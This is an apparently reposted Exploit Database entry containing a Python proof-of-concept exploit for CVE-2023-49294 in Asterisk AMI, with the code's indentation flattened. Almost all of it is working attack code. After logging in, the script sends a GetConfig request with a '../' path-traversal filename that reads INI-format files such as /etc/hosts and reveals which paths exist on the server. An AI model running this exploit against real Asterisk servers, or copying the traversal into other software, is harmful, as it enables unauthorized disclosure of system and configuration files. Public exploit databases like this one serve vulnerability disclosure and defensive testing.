Asterisk AMI – Partial File Content & Path Disclosure (Authenticated)

• Exploit Database
• 13 阅读

• 作者： Sean Pesce
  日期： 2024-03-28
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/51927/

• # Exploit Title: Asterisk AMI - Partial File Content & Path Disclosure (Authenticated)
  # Date: 2023-03-26
  # Exploit Author: Sean Pesce
  # Vendor Homepage: https://asterisk.org/
  # Software Link: https://downloads.asterisk.org/pub/telephony/asterisk/old-releases/
  # Version: 18.20.0
  # Tested on: Debian Linux
  # CVE: CVE-2023-49294
  
  #!/usr/bin/env python3
  #
  # Proof of concept exploit for CVE-2023-49294, an authenticated vulnerability in Asterisk AMI that
  # facilitates filesystem enumeration (discovery of existing file paths) and limited disclosure of
  # file contents. Disclosed files must adhere to the Asterisk configuration format, which is similar
  # to the common INI configuration format.
  #
  # References:
  # https://nvd.nist.gov/vuln/detail/CVE-2023-49294
  # https://github.com/asterisk/asterisk/security/advisories/GHSA-8857-hfmw-vg8f
  # https://docs.asterisk.org/Asterisk_18_Documentation/API_Documentation/AMI_Actions/GetConfig/
  
  
  import argparse
  import getpass
  import socket
  import sys
  
  
  CVE_ID = 'CVE-2023-49294'
  
  DEFAULT_PORT = 5038
  DEFAULT_FILE = '/etc/hosts'
  DEFAULT_ACTION_ID = 0
  DEFAULT_TCP_READ_SZ = 1048576# 1MB
  
  
  
  def ami_msg(action, args, encoding='utf8'):
  assert type(action) == str, f'Invalid type for AMI Action (expected string): {type(action)}'
  assert type(args) == dict, f'Invalid type for AMI arguments (expected dict): {type(args)}'
  if 'ActionID' not in args:
  args['ActionID'] = 0
  line_sep = '\r\n'
  data = f'Action: {action}{line_sep}'
  for a in args:
  data += f'{a}: {args[a]}{line_sep}'
  data += line_sep
  return data.encode(encoding)
  
  
  
  def tcp_send_rcv(sock, data, read_sz=DEFAULT_TCP_READ_SZ):
  assert type(data) in (bytes, bytearray, memoryview), f'Invalid data type (expected bytes): {type(data)}'
  sock.sendall(data)
  resp = b''
  while not resp.endswith(b'\r\n\r\n'):
  resp += sock.recv(read_sz)
  return resp
  
  
  
  if __name__ == '__main__':
  # Parse command-line arguments
  argparser = argparse.ArgumentParser()
  argparser.add_argument('host', type=str, help='The host name or IP address of the Asterisk AMI server')
  argparser.add_argument('-p', '--port', type=int, help=f'Asterisk AMI TCP port (default: {DEFAULT_PORT})', default=DEFAULT_PORT)
  argparser.add_argument('-u', '--user', type=str, help=f'Asterisk AMI user', required=True)
  argparser.add_argument('-P', '--password', type=str, help=f'Asterisk AMI secret', default=None)
  argparser.add_argument('-f', '--file', type=str, help=f'File to read (default: {DEFAULT_FILE})', default=DEFAULT_FILE)
  argparser.add_argument('-a', '--action-id', type=int, help=f'Action ID (default: {DEFAULT_ACTION_ID})', default=DEFAULT_ACTION_ID)
  if '-h' in sys.argv or '--help' in sys.argv:
  print(f'Proof of concept exploit for {CVE_ID} in Asterisk AMI. More information here: \nhttps://nvd.nist.gov/vuln/detail/{CVE_ID}\n', file=sys.stderr)
  argparser.print_help()
  sys.exit(0)
  args = argparser.parse_args()
  
  # Validate command-line arguments
  assert 1 <= args.port <= 65535, f'Invalid port number: {args.port}'
  args.host = socket.gethostbyname(args.host)
  if args.password is None:
  args.password = getpass.getpass(f'[PROMPT] Enter the AMI password for {args.user}: ')
  
  print(f'[INFO] Proof of concept exploit for {CVE_ID}', file=sys.stderr)
  print(f'[INFO] Connecting to Asterisk AMI:{args.user}@{args.host}:{args.port}', file=sys.stderr)
  
  # Connect to the Asterisk AMI server
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  sock.connect((args.host, args.port))
  
  # Read server banner
  banner = sock.recv(DEFAULT_TCP_READ_SZ)
  print(f'[INFO] Connected to {banner.decode("utf8").strip()}', file=sys.stderr)
  
  # Authenticate to the Asterisk AMI server
  login_msg = ami_msg('Login', {'Username':args.user,'Secret':args.password})
  login_resp = tcp_send_rcv(sock, login_msg)
  while b'Authentication' not in login_resp:
  login_resp = tcp_send_rcv(sock, b'')
  if b'Authentication accepted' not in login_resp:
  print(f'\n[ERROR] Invalid credentials: \n{login_resp.decode("utf8")}', file=sys.stderr)
  sys.exit(1)
  #print(f'[INFO] Authenticated: {login_resp.decode("utf8")}', file=sys.stderr)
  print(f'[INFO] Login success', file=sys.stderr)
  
  # Obtain file data via path traversal
  traversal = '../../../../../../../../'
  cfg_msg = ami_msg('GetConfig', {
  'ActionID': args.action_id,
  'Filename': f'{traversal}{args.file}',
  #'Category': 'default',
  #'Filter': 'name_regex=value_regex,',
  })
  resp = tcp_send_rcv(sock, cfg_msg)
  while b'Response' not in resp:
  resp = tcp_send_rcv(sock, b'')
  
  print(f'', file=sys.stderr)
  print(f'{resp.decode("utf8")}')
  
  if b'Error' in resp:
  sys.exit(1)
  
  pass# Done